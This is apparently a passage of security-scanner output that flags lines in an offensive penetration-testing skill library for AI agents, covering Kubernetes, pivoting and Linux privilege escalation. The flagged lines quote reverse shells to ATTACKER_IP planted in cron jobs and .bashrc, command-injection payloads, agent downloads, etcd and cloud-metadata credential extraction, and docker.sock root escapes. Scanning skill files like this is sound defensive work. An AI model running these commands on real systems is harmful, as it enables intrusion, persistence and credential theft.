    # Interactive shell curl -sk "https://NODE_IP:10250/exec/NAMESPACE/POD_NAME/CONTAINER_NAME?command=/bin/sh&input=1&output=1&tty=1" \
  • Network accessline 847
    curl -sk "https://NODE_IP:10250/exec/NAMESPACE/POD_NAME/CONTAINER_NAME?command=/bin/sh&input=1&output=1&tty=1" \
  • Network accessline 860
    # Check etcd access curl -k https://ETCD_IP:2379/version
  • Network accessline 861
    curl -k https://ETCD_IP:2379/version
  • Network accessline 862
    curl -k https://ETCD_IP:2379/health
  • Network accessline 864
    # List all keys etcdctl --endpoints=http://ETCD_IP:2379 get / --prefix --keys-only 2>/dev/null
  • Network accessline 865
    etcdctl --endpoints=http://ETCD_IP:2379 get / --prefix --keys-only 2>/dev/null
  • Network accessline 867
    # If TLS required (find certs on master node) etcdctl --endpoints=https://ETCD_IP:2379 \
  • Network accessline 868
    etcdctl --endpoints=https://ETCD_IP:2379 \
  • Network accessline 874
    # Extract all secrets etcdctl --endpoints=http://ETCD_IP:2379 get /registry/secrets --prefix
  • Network accessline 875
    etcdctl --endpoints=http://ETCD_IP:2379 get /registry/secrets --prefix
  • Network accessline 877
    # Extract specific secret etcdctl --endpoints=http://ETCD_IP:2379 get /registry/secrets/NAMESPACE/SECRET_NAME
  • Network accessline 878
    etcdctl --endpoints=http://ETCD_IP:2379 get /registry/secrets/NAMESPACE/SECRET_NAME
  • Network accessline 880
    # Without etcdctl — use curl curl -s http://ETCD_IP:2379/v3/kv/range \
  • Dangerous shell operationline 881
    curl -s http://ETCD_IP:2379/v3/kv/range    -d '{"key":"L3JlZ2lzdHJ5L3NlY3JldHMv","range_end":"L3JlZ2lzdHJ5L3NlY3JldHMw"}' |    python3 -c "import sys,json,base64; r=json.load(sys.stdin); [print(base64.b64decode(kv['value'])) for kv in r.get
  • Network accessline 881
    curl -s http://ETCD_IP:2379/v3/kv/range \
  • Possible obfuscationline 881
    curl -s http://ETCD_IP:2379/v3/kv/range    -d '{"key":"L3JlZ2lzdHJ5L3NlY3JldHMv","range_end":"L3JlZ2lzdHJ5L3NlY3JldHMw"}' |    python3 -c "import sys,json,base64; r=json.load(sys.stdin); [print(base64.b64decode(kv['value'])) for kv in r.get
  • Possible obfuscationline 883
    python3 -c "import sys,json,base64; r=json.load(sys.stdin); [print(base64.b64decode(kv['value'])) for kv in r.get('kvs',[])]"
  • Network accessline 909
    [Credential-related source omitted]
  • Network accessline 910
    [Credential-related source omitted]
  • Network accessline 920
    [Credential-related source omitted]
  • Network accessline 921
    [Credential-related source omitted]
  • Network accessline 952
    # Exploit: replace /bin/sh in container so docker exec triggers overwrite # Use: https://github.com/Frichetten/CVE-2019-5736-PoC
  • Network accessline 953
    # Use: https://github.com/Frichetten/CVE-2019-5736-PoC
  • Dangerous shell operationline 956
    # 3. Wait for docker exec (or trigger it)
  • Network accessline 993
    # AWS IMDSv1 (no authentication) curl -s http://169.254.169.254/latest/meta-data/
  • Network accessline 994
    curl -s http://169.254.169.254/latest/meta-data/
  • Network accessline 995
    curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • Network accessline 996
    curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
  • Network accessline 998
    [Credential-related source omitted]
  • Network accessline 999
    [Credential-related source omitted]
  • Network accessline 1000
    [Credential-related source omitted]
  • Network accessline 1002
    # GCP curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/
  • Network accessline 1003
    curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/
  • Network accessline 1004
    curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
  • Network accessline 1006
    # Azure curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
  • Network accessline 1007
    curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
  • Network accessline 1008
    curl -s -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
  • Network accessline 1064
    Use curl with the UNIX socket (Step 2, "Via curl" section). All Docker operations
  • Network accessline 1084
    2. Look for other SA tokens on disk: `find / -name "token" 2>/dev/null` 3. Check for other pods with more permissive SAs 4. Try anonymous access: `curl -sk $APISERVER/api/v1/` (without token)
  • Network accessline 1085
    3. Check for other pods with more permissive SAs 4. Try anonymous access: `curl -sk $APISERVER/api/v1/` (without token) 5. Check kubelet API on node (port 10250) — may have different auth
  • Network accessline 1086
    4. Try anonymous access: `curl -sk $APISERVER/api/v1/` (without token)
  • Network accessline 1091
    Use curl with the SA token and CA cert. All examples in Steps 7-10 show
  • Network accessline 1092
    the curl equivalents. Set variables once:
  • Network accessline 1094
    [Credential-related source omitted]
  • Network accessline 1095
    APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"

skills/network/database-enumeration/SKILL.md

  • Dangerous shell operationline 92
    Clean up temp files when done: `rm /tmp/db_*.txt`.

skills/network/infrastructure-enumeration/SKILL.md

  • Dangerous shell operationline 226
    # Mount and explore (requires sudo — note in return if unavailable)
  • Dangerous shell operationline 227
    sudo mount -t nfs TARGET_IP:/share /mnt/nfs -o nolock

skills/network/network-recon/SKILL.md

  • Dangerous shell operationline 112
    directly — no sudo handoff needed. The MCP server runs `sudo nmap` in a
  • Dangerous shell operationline 172
    sudo nmap -sn -PR 10.10.10.0/24 -oG discovery.gnmap
  • Dangerous shell operationline 175
    sudo nmap -sn 10.10.10.0/24 -oG discovery.gnmap
  • Dangerous shell operationline 178
    sudo nmap -sn -PS22,80,135,443,445,3389,8080 10.10.10.0/24 -oG discovery.gnmap
  • Dangerous shell operationline 181
    sudo nmap -sn -PU53,161,137 10.10.10.0/24 -oG discovery.gnmap
  • Dangerous shell operationline 184
    sudo nmap -sn -PE -PP -PS21,22,25,80,113,135,443,445,3389,8080 -PU53,111,137,161 10.10.10.0/24 -oG discovery.gnmap
  • Network accessline 261
    # Bash TCP check (no tools needed) for port in 22 80 135 445 3389 5985; do   (echo >/dev/tcp/192.168.100.2/$port) 2>/dev/null && echo "192.168.100.2:$port open"
  • Network accessline 262
    for port in 22 80 135 445 3389 5985; do   (echo >/dev/tcp/192.168.100.2/$port) 2>/dev/null && echo "192.168.100.2:$port open" done
  • Dangerous shell operationline 263
    (echo >/dev/tcp/192.168.100.2/$port) 2>/dev/null && echo "192.168.100.2:$port open"
  • Network accessline 263
    (echo >/dev/tcp/192.168.100.2/$port) 2>/dev/null && echo "192.168.100.2:$port open"
  • Network accessline 318
    # Download static nmap on attackbox (NOT on target) # https://github.com/andrew-d/static-binaries or compile yourself
  • Network accessline 319
    # https://github.com/andrew-d/static-binaries or compile yourself
  • Dangerous shell operationline 353
    sudo nmap -sV -sC --top-ports 1000 -T4 -oA scan_HOSTNAME -vvv TARGET_IP
  • Dangerous shell operationline 358
    sudo nmap -A -p- -T4 -oA scan_HOSTNAME -vvv TARGET_IP
  • Dangerous shell operationline 408
    sudo nmap -O --osscan-guess -oA os_HOSTNAME TARGET_IP
  • Dangerous shell operationline 411
    sudo nmap -O -sV --version-intensity 5 -oA os_HOSTNAME TARGET_IP
  • Network accessline 476
    ### Service version detection returns "tcpwrapped" - Target is accepting TCP connections but dropping them before service negotiation. - Try connecting manually: `nc -nv TARGET_IP PORT` to see if there's a banner.
  • Network accessline 477
    - Target is accepting TCP connections but dropping them before service negotiation. - Try connecting manually: `nc -nv TARGET_IP PORT` to see if there's a banner. - May indicate a firewall or IPS is interfering.
  • Network accessline 478
    - Try connecting manually: `nc -nv TARGET_IP PORT` to see if there's a banner.

skills/network/pivoting-tunneling/SKILL.md

  • Network accessline 164
    # Then access: http://127.0.0.1:8080
  • Network accessline 188
    # Then use with proxychains proxychains nmap -sT -sV -p- 10.10.10.5 proxychains curl http://10.10.10.5/
  • Network accessline 189
    proxychains nmap -sT -sV -p- 10.10.10.5 proxychains curl http://10.10.10.5/ proxychains firefox
  • Network accessline 190
    proxychains curl http://10.10.10.5/
  • Network accessline 193
    # Or configure tools directly curl --socks5 127.0.0.1:1080 http://10.10.10.5/
  • Network accessline 194
    curl --socks5 127.0.0.1:1080 http://10.10.10.5/
  • Access to secretsline 261
    [Credential-related source omitted]
  • Dangerous shell operationline 313
    - Requires root/sudo on the attacker machine (uses iptables/pf)
  • Dangerous shell operationline 325
    sudo ssh -w 0:0 user@PIVOT_IP
  • Dangerous shell operationline 328
    sudo ip addr add 10.0.0.1/30 dev tun0
  • Dangerous shell operationline 329
    sudo ip link set tun0 up
  • Dangerous shell operationline 330
    sudo ip route add 10.10.10.0/24 via 10.0.0.2
  • Dangerous shell operationline 333
    sudo ip addr add 10.0.0.2/30 dev tun0
  • Dangerous shell operationline 334
    sudo ip link set tun0 up
  • Dangerous shell operationline 336
    sudo iptables -t nat -A POSTROUTING -s 10.0.0.0/30 -o eth0 -j MASQUERADE
  • Dangerous shell operationline 353
    sudo ip tuntap add user $(whoami) mode tun ligolo
  • Dangerous shell operationline 354
    sudo ip link set ligolo up
  • Dangerous shell operationline 371
    sudo ip route add 10.10.10.0/24 dev ligolo
  • Dangerous shell operationline 408
    sudo ip route add 10.10.20.0/24 dev ligolo
  • Dangerous shell operationline 418
    sudo ip route add 10.10.30.0/24 dev ligolo
  • Network accessline 427
    # Download on pivot (Linux) wget http://ATTACKER_IP:8000/agent -O /tmp/agent && chmod +x /tmp/agent
  • Network accessline 428
    wget http://ATTACKER_IP:8000/agent -O /tmp/agent && chmod +x /tmp/agent
  • Network accessline 429
    curl http://ATTACKER_IP:8000/agent -o /tmp/agent && chmod +x /tmp/agent
  • Network accessline 431
    # Download on pivot (Windows) certutil -urlcache -f http://ATTACKER_IP:8000/agent.exe C:\Windows\Temp\agent.exe
  • Network accessline 432
    certutil -urlcache -f http://ATTACKER_IP:8000/agent.exe C:\Windows\Temp\agent.exe
  • Network accessline 433
    iwr http://ATTACKER_IP:8000/agent.exe -OutFile C:\Windows\Temp\agent.exe
  • Dangerous shell operationline 446
    - Requires root/sudo on attacker for TUN interface
  • Network accessline 469
    # Then use: proxychains nmap -sT -sV 10.10.10.5 proxychains curl http://10.10.10.5/
  • Network accessline 471
    proxychains curl http://10.10.10.5/
  • Network accessline 493
    # Chisel through a corporate proxy ./chisel client --proxy http://PROXY_IP:3128 ATTACKER_IP:8000 R:socks
  • Network accessline 494
    ./chisel client --proxy http://PROXY_IP:3128 ATTACKER_IP:8000 R:socks
  • Network accessline 496
    # With proxy authentication ./chisel client --proxy http://user:pass@PROXY_IP:3128 ATTACKER_IP:8000 R:socks
  • Network accessline 497
    ./chisel client --proxy http://user:pass@PROXY_IP:3128 ATTACKER_IP:8000 R:socks
  • Network accessline 513
    # Linux wget http://ATTACKER_IP:8000/chisel -O /tmp/chisel && chmod +x /tmp/chisel
  • Network accessline 514
    wget http://ATTACKER_IP:8000/chisel -O /tmp/chisel && chmod +x /tmp/chisel
  • Network accessline 515
    curl http://ATTACKER_IP:8000/chisel -o /tmp/chisel && chmod +x /tmp/chisel
  • Network accessline 517
    # Windows certutil -urlcache -f http://ATTACKER_IP:8000/chisel.exe C:\Windows\Temp\chisel.exe iwr http://ATTACKER_IP:8000/chisel.exe -OutFile C:\Windows\Temp\chisel.exe
  • Network accessline 518
    certutil -urlcache -f http://ATTACKER_IP:8000/chisel.exe C:\Windows\Temp\chisel.exe
  • Network accessline 519
    iwr http://ATTACKER_IP:8000/chisel.exe -OutFile C:\Windows\Temp\chisel.exe
  • Dangerous shell operationline 699
    sudo iodined -f -c -P password 10.0.0.1/24 tunnel.attacker.com
  • Dangerous shell operationline 702
    sudo iodine -f -P password tunnel.attacker.com
  • Dangerous shell operationline 706
    sudo ip route add 10.10.10.0/24 via 10.0.0.2
  • Dangerous shell operationline 723
    sudo ./hans -s 10.0.0.1 -p password
  • Dangerous shell operationline 726
    sudo ./hans -c ATTACKER_IP -p password
  • Dangerous shell operationline 729
    sudo ip route add 10.10.10.0/24 via 10.0.0.100
  • Dangerous shell operationline 736
    sudo ./ptunnel-ng -r ATTACKER_IP -R 22
  • Dangerous shell operationline 739
    sudo ./ptunnel-ng -p ATTACKER_IP -l 2222 -r 127.0.0.1 -R 22
  • Dangerous shell operationline 745
    **Use case:** Extremely restricted environments. Requires root/sudo on both ends.
  • Network accessline 761
    # Start the tunnel (creates SOCKS proxy) python neoreg.py -k password -u http://TARGET_IP/tunnel.php
  • Network accessline 762
    python neoreg.py -k password -u http://TARGET_IP/tunnel.php
  • Network accessline 945
    # Through SOCKS proxy proxychains curl -s http://10.10.10.5/ -o /dev/null -w "%{http_code}\n"
  • Network accessline 946
    proxychains curl -s http://10.10.10.5/ -o /dev/null -w "%{http_code}\n"
  • Network accessline 947
    proxychains nc -zv 10.10.10.5 445
  • Network accessline 950
    ping -c 3 10.10.10.5 nmap -sT -p445 10.10.10.5 curl http://10.10.10.5/
  • Network accessline 952
    curl http://10.10.10.5/
  • Network accessline 954
    # Through local port forward curl http://127.0.0.1:8080/
  • Network accessline 955
    curl http://127.0.0.1:8080/
  • Network accessline 956
    nc -zv 127.0.0.1 8080
  • Network accessline 978
    |------|-------------|-------| | nmap | Partial | Must use `-sT` (connect scan), no SYN/UDP/ping | | curl / wget | Yes | Works natively with `--socks5` too |
  • Network accessline 979
    | nmap | Partial | Must use `-sT` (connect scan), no SYN/UDP/ping | | curl / wget | Yes | Works natively with `--socks5` too | | netexec | Yes | Works well through proxychains |
  • Network accessline 980
    | curl / wget | Yes | Works natively with `--socks5` too |
  • Network accessline 1101
    if not d: break             src.sendall(d) s = socket.socket()
  • Network accessline 1102
    src.sendall(d) s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  • Network accessline 1103
    s = socket.socket()
  • Network accessline 1112
    ip = socket.inet_ntoa(d[4:8])     c.sendall(b'\x00\x5a' + d[2:8])     r = socket.socket()
  • Network accessline 1113
    c.sendall(b'\x00\x5a' + d[2:8])     r = socket.socket()     r.connect((ip,port))
  • Network accessline 1114
    r = socket.socket()

skills/network/smb-exploitation/SKILL.md

  • Possible obfuscationline 301
    msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACK_IP> LPORT=<PORT>    EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40"
  • Possible obfuscationline 302
    EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" \
  • Network accessline 311
    nc -lvnp <PORT>

skills/network/xmpp-enumeration/SKILL.md

  • Network accessline 161
    STREAM_HEADER = f'''<?xml version='1.0'?> <stream:stream xmlns='jabber:client'   xmlns:stream='http://etherx.jabber.org/streams'
  • Network accessline 162
    <stream:stream xmlns='jabber:client'   xmlns:stream='http://etherx.jabber.org/streams'   to='{DOMAIN}' version='1.0'>'''
  • Network accessline 163
    xmlns:stream='http://etherx.jabber.org/streams'
  • Network accessline 166
    def probe(target, port, domain, use_tls=False):     sock = socket.create_connection((target, port), timeout=10)
  • Network accessline 167
    sock = socket.create_connection((target, port), timeout=10)
  • Network accessline 203
    - `<stream:features>` block lists supported authentication mechanisms - SASL mechanisms: `PLAIN`, `SCRAM-SHA-1`, `ANONYMOUS`, `EXTERNAL`, `DIGEST-MD5` - `<register xmlns='http://jabber.org/features/iq-register'/>` = in-band registration ena
  • Network accessline 204
    - SASL mechanisms: `PLAIN`, `SCRAM-SHA-1`, `ANONYMOUS`, `EXTERNAL`, `DIGEST-MD5` - `<register xmlns='http://jabber.org/features/iq-register'/>` = in-band registration enabled (XEP-0077) - Server identification in stream header attributes or
  • Network accessline 205
    - `<register xmlns='http://jabber.org/features/iq-register'/>` = in-band registration enabled (XEP-0077)
  • Network accessline 229
    STREAM_HEADER = f'''<?xml version='1.0'?> <stream:stream xmlns='jabber:client'   xmlns:stream='http://etherx.jabber.org/streams'
  • Network accessline 230
    <stream:stream xmlns='jabber:client'   xmlns:stream='http://etherx.jabber.org/streams'   to='{DOMAIN}' version='1.0'>'''
  • Network accessline 231
    xmlns:stream='http://etherx.jabber.org/streams'
  • Network accessline 247
    sock = socket.create_connection((TARGET, PORT), timeout=10)
  • Network accessline 310
    STREAM_HEADER = f'''<?xml version='1.0'?> <stream:stream xmlns='jabber:client'   xmlns:stream='http://etherx.jabber.org/streams'
  • Network accessline 311
    <stream:stream xmlns='jabber:client'   xmlns:stream='http://etherx.jabber.org/streams'   to='{DOMAIN}' version='1.0'>'''
  • Network accessline 312
    xmlns:stream='http://etherx.jabber.org/streams'
  • Network accessline 328
    sock = socket.create_connection((TARGET, PORT), timeout=10)
  • Network accessline 402
    STREAM_HEADER = f'''<?xml version='1.0'?> <stream:stream xmlns='jabber:client'   xmlns:stream='http://etherx.jabber.org/streams'
  • Network accessline 403
    <stream:stream xmlns='jabber:client'   xmlns:stream='http://etherx.jabber.org/streams'   to='{DOMAIN}' version='1.0'>'''
  • Network accessline 404
    xmlns:stream='http://etherx.jabber.org/streams'
  • Network accessline 420
    def connect_and_tls():     sock = socket.create_connection((TARGET, PORT), timeout=10)
  • Network accessline 421
    sock = socket.create_connection((TARGET, PORT), timeout=10)
  • Network accessline 512
    STREAM_HEADER = f'''<?xml version='1.0'?> <stream:stream xmlns='jabber:client'   xmlns:stream='http://etherx.jabber.org/streams'
  • Network accessline 513
    <stream:stream xmlns='jabber:client'   xmlns:stream='http://etherx.jabber.org/streams'   to='{DOMAIN}' version='1.0'>'''
  • Network accessline 514
    xmlns:stream='http://etherx.jabber.org/streams'
  • Network accessline 530
    sock = socket.create_connection((TARGET, PORT), timeout=10)
  • Network accessline 573
    # Service discovery — discover server items (MUC, users directory, etc.) sock.sendall(f"<iq type='get' id='disco1' to='{DOMAIN}'><query xmlns='http://jabber.org/protocol/disco#items'/></iq>".encode())
  • Network accessline 574
    sock.sendall(f"<iq type='get' id='disco1' to='{DOMAIN}'><query xmlns='http://jabber.org/protocol/disco#items'/></iq>".encode())
  • Network accessline 578
    # Service discovery — server info sock.sendall(f"<iq type='get' id='disco2' to='{DOMAIN}'><query xmlns='http://jabber.org/protocol/disco#info'/></iq>".encode())
  • Network accessline 579
    sock.sendall(f"<iq type='get' id='disco2' to='{DOMAIN}'><query xmlns='http://jabber.org/protocol/disco#info'/></iq>".encode())
  • Network accessline 637
    STREAM_HEADER = f'''<?xml version='1.0'?> <stream:stream xmlns='jabber:client'   xmlns:stream='http://etherx.jabber.org/streams'
  • Network accessline 638
    <stream:stream xmlns='jabber:client'   xmlns:stream='http://etherx.jabber.org/streams'   to='{DOMAIN}' version='1.0'>'''
  • Network accessline 639
    xmlns:stream='http://etherx.jabber.org/streams'
  • Network accessline 655
    # Connect + TLS + Auth (same pattern as Step 3b) sock = socket.create_connection((TARGET, PORT), timeout=10)
  • Network accessline 656
    sock = socket.create_connection((TARGET, PORT), timeout=10)
  • Network accessline 686
    # Discover MUC rooms sock.sendall(f"<iq type='get' id='muc1' to='{MUC_SERVICE}'><query xmlns='http://jabber.org/protocol/disco#items'/></iq>".encode())
  • Network accessline 687
    sock.sendall(f"<iq type='get' id='muc1' to='{MUC_SERVICE}'><query xmlns='http://jabber.org/protocol/disco#items'/></iq>".encode())
  • Network accessline 701
    # Join with history request     join = f'''<presence to='{room}/{USERNAME}'>       <x xmlns='http://jabber.org/protocol/muc'>
  • Network accessline 702
    join = f'''<presence to='{room}/{USERNAME}'>       <x xmlns='http://jabber.org/protocol/muc'>         <history maxstanzas='50'/>
  • Network accessline 703
    <x xmlns='http://jabber.org/protocol/muc'>
  • Network accessline 754
    # Query server uptime/stats (admin feature, may be restricted) sock.sendall(f"<iq type='get' id='stats1' to='{DOMAIN}'><query xmlns='http://jabber.org/protocol/stats'/></iq>".encode())
  • Network accessline 755
    sock.sendall(f"<iq type='get' id='stats1' to='{DOMAIN}'><query xmlns='http://jabber.org/protocol/stats'/></iq>".encode())

skills/post-exploit/credential-recovery/SKILL.md

  • Dangerous shell operationline 158
    sudo apt install john
  • Network accessline 160
    # Or build from source (last resort) git clone https://github.com/openwall/john.git
  • Network accessline 161
    git clone https://github.com/openwall/john.git
  • Dangerous shell operationline 539
    sudo apt install wordlists seclists

skills/privesc/linux-cron-service-abuse/SKILL.md

  • Network accessline 106
    # Option 2: Reverse shell (immediate access) echo '#!/bin/bash bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1' > /path/to/cron_script.sh
  • Network accessline 107
    echo '#!/bin/bash bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1' > /path/to/cron_script.sh chmod +x /path/to/cron_script.sh
  • Dangerous shell operationline 108
    bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1' > /path/to/cron_script.sh
  • Network accessline 108
    bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1' > /path/to/cron_script.sh
  • Network accessline 110
    # Start listener: nc -lvnp PORT
  • Network accessline 154
    # Or via crontab command (user crontab) (crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'") | crontab -
  • Dangerous shell operationline 155
    (crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'") | crontab -
  • Network accessline 155
    (crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'") | crontab -
  • Network accessline 373
    # Using gdbus gdbus call -y -d <service.name> -o /object/path \   -m <interface.name>.<MethodName> ';bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1" #'
  • Dangerous shell operationline 374
    gdbus call -y -d <service.name> -o /object/path    -m <interface.name>.<MethodName> ';bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1" #'
  • Network accessline 374
    gdbus call -y -d <service.name> -o /object/path    -m <interface.name>.<MethodName> ';bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1" #'
  • Dangerous shell operationline 375
    -m <interface.name>.<MethodName> ';bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1" #'
  • Network accessline 375
    -m <interface.name>.<MethodName> ';bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1" #'
  • Network accessline 391
    # Command injection via string parameter payload = ';bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1" #'
  • Dangerous shell operationline 392
    payload = ';bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1" #'
  • Network accessline 392
    payload = ';bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1" #'
  • Network accessline 407
    # Multiple public exploits: # https://github.com/ly4k/PwnKit
  • Network accessline 408
    # https://github.com/ly4k/PwnKit
  • Network accessline 409
    # https://github.com/arthepsy/CVE-2021-4034
  • Dangerous shell operationline 433
    # Create user with sudo privileges
  • Dangerous shell operationline 449
    sudo bash
  • Network accessline 502
    import struct, json, socket, sys msg = json.dumps({'op':'status'}).encode() s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
  • Network accessline 503
    msg = json.dumps({'op':'status'}).encode() s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) s.connect('/path/to/socket')
  • Network accessline 504
    s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
  • Network accessline 531
    # Using nc (if Unix socket support available)
  • Dangerous shell operationline 532
    echo ';bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1" #' | nc -U /path/to/socket
  • Network accessline 532
    echo ';bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1" #' | nc -U /path/to/socket
  • Network accessline 534
    # Using curl (for HTTP-based sockets)
  • Network accessline 535
    curl --unix-socket /path/to/socket http://localhost/api/exec -d '{"cmd":"id"}'
  • Network accessline 549
    # If docker CLI not available, use curl curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
  • Network accessline 550
    curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
  • Network accessline 551
    curl -s --unix-socket /var/run/docker.sock -X POST \
  • Network accessline 552
    "http://localhost/containers/create" \
  • Network accessline 589
    user        = root     server      = /bin/bash     server_args = -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"
  • Network accessline 590
    server      = /bin/bash     server_args = -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"     disable     = no
  • Dangerous shell operationline 591
    server_args = -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"
  • Network accessline 591
    server_args = -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"

skills/privesc/linux-discovery/SKILL.md

  • Dangerous shell operationline 76
    - `add_vuln()` — confirmed vulnerabilities a technique agent should exploit (SUID binaries, sudo misconfigs, kernel CVEs)
  • Dangerous shell operationline 159
    | `sudo` / `wheel` | Sudo configuration |
  • Dangerous shell operationline 164
    ## Step 3: Sudo Configuration
  • Dangerous shell operationline 166
    This is the highest-priority check — sudo misconfigurations are the most common Linux
  • Dangerous shell operationline 170
    sudo -n -l 2>/dev/null  # -n prevents password prompt from hanging the shell
  • Dangerous shell operationline 171
    sudo -V 2>/dev/null | head -1  # Sudo version for CVE matching
  • Dangerous shell operationline 174
    **Sudo version CVEs:**
  • Dangerous shell operationline 178
    | < 1.9.5p2 (1.8.2 - 1.9.5p1) | CVE-2021-3156 (Baron Samedit) | Heap overflow → root without sudo access |
  • Dangerous shell operationline 179
    | All current | CVE-2019-14287 | `sudo -u#-1` bypasses user restriction |
  • Dangerous shell operationline 183
    are necessary but NOT sufficient — distro backports can patch sudo without bumping
  • Dangerous shell operationline 196
    **What to look for in `sudo -l` output:**
  • Dangerous shell operationline 201
    | `env_keep += LD_PRELOAD` | LD_PRELOAD injection with sudo |
  • Dangerous shell operationline 202
    | `env_keep += LD_LIBRARY_PATH` | Library path hijack with sudo |
  • Dangerous shell operationline 208
    If `sudo -l` returns anything usable → STOP. Report: hostname, current user,
  • Dangerous shell operationline 209
    sudo -l output, sudo version. Do not execute privilege escalation commands inline.
  • Dangerous shell operationline 220
    RHEL/CentOS 8 systems where sudo is locked down.
  • Network accessline 294
    Cross-reference against GTFOBins (https://gtfobins.github.io). Common SUID escalations:
  • Access to secretsline 475
    [Credential-related source omitted]
  • Dangerous shell operationline 636
    curl -sL https://ATTACKER/linpeas.sh | bash
  • Network accessline 636
    curl -sL https://ATTACKER/linpeas.sh | bash
  • Dangerous shell operationline 676
    1. Sudo NOPASSWD / SUID (near-certain, low OPSEC)
  • Dangerous shell operationline 683
    user, specific findings (sudo entries, SUID binaries, capabilities, writable
  • Network accessline 688
    ### LinPEAS blocked by security controls Use manual checks from Steps 1-10 — they use only built-in commands. Or pipe LinPEAS from memory: `curl -sL URL | sh` to avoid writing to disk.
  • Dangerous shell operationline 690
    LinPEAS from memory: `curl -sL URL | sh` to avoid writing to disk.
  • Network accessline 690
    LinPEAS from memory: `curl -sL URL | sh` to avoid writing to disk.
  • Dangerous shell operationline 694
    commands. Focus on `sudo -l` (Step 3), SUID enumeration (Step 4), and cron review

skills/privesc/linux-file-path-abuse/SKILL.md

  • Dangerous shell operationline 180
    # IMPORTANT: invalid sudoers breaks sudo for everyone — validate syntax
  • Dangerous shell operationline 188
    sudo su
  • Dangerous shell operationline 196
    sudo su
  • Dangerous shell operationline 217
    - Invalid `/etc/sudoers` syntax breaks sudo for entire system
  • Dangerous shell operationline 271
    rm /tmp/nfs/suid_shell.c
  • Network accessline 352
    # List containers curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
  • Network accessline 353
    curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
  • Network accessline 355
    # Create privileged container via API curl -s --unix-socket /var/run/docker.sock -X POST \
  • Network accessline 356
    curl -s --unix-socket /var/run/docker.sock -X POST \
  • Network accessline 357
    -H "Content-Type: application/json" \   -d '{"Image":"alpine","Cmd":["/bin/sh","-c","cp /host/bin/bash /host/tmp/rootbash && chmod 4755 /host/tmp/rootbash"],"HostConfig":{"Binds":["/:/host"]}}' \   http://localhost/containers/create
  • Network accessline 359
    http://localhost/containers/create
  • Network accessline 361
    # Start it (use the container ID from response) curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/CONTAINER_ID/start
  • Network accessline 362
    curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/CONTAINER_ID/start
  • Dangerous shell operationline 751
    echo 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 &' >> /root/.bashrc
  • Network accessline 751
    echo 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 &' >> /root/.bashrc
  • Network accessline 752
    # Set up listener: nc -lvnp PORT
  • Dangerous shell operationline 789
    rm -f /tmp/rootbash /tmp/suid_shell
  • Dangerous shell operationline 792
    rm -f /etc/sudoers.d/privesc
  • Dangerous shell operationline 798
    rm -f /path/to/nfs/suid_shell
  • Dangerous shell operationline 801
    docker rm -f $(docker ps -aq) 2>/dev/null
  • Dangerous shell operationline 805
    rm -f /tmp/privlibs/*.so /tmp/privesc.c /tmp/libmissing.so
  • Dangerous shell operationline 808
    rm -f /usr/local/bin/tar  # or whatever was hijacked

skills/privesc/linux-kernel-exploits/SKILL.md

  • Network accessline 70
    2. **Review** — inspect source before transferring 3. **Serve** — `python3 -m http.server 8080` on attackbox 4. **Pull from target** — `wget http://ATTACKBOX:8080/file -O /tmp/file`
  • Network accessline 72
    4. **Pull from target** — `wget http://ATTACKBOX:8080/file -O /tmp/file`
  • Network accessline 135
    # On attackbox: download and review curl -sL https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -o les.sh
  • Network accessline 136
    curl -sL https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -o les.sh
  • Network accessline 140
